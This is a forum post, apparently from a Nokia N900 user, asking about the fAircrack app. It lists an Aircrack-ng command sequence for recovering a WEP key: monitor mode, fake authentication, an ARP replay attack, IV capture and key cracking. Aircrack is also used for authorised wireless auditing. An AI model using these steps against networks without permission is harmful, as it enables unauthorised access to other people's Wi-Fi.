Just curious to know, if possible : what are the commands used by fAircrack?
I use these commands on Xterminal (from my past use of Aircrack ):

/home/user/MyDocs/wl1251-maemo/binary/compat-wireless # sh load.sh
(Load Bleeding-edge wl1251 drivers)

airmon-ng stop ath0
airmon-ng start wlan0
(Put wireless interface in monitor mode)

airodump-ng -c [canal] mon0
(Show all available networks on a specific canal)

aireplay-ng -1 0 -e [AP ESSID] -a [AP BSSID] -h [N900 MAC Address] mon0
(Make a false authentication)

aireplay-ng -3 -b [AP BSSID] -h [N900 MAC Address] mon0
(Perform ARP Request Attack)

airodump-ng -c [canal] --bssid [AP BSSID] -w [capture] mon0
(Capture IV packets and write them to file)

aircrack-ng -z [capture*.cap]
(Find the key)

However, write these commands on the Nokia N900 is quite a pain in the a...

fAircrack is a must have application!!!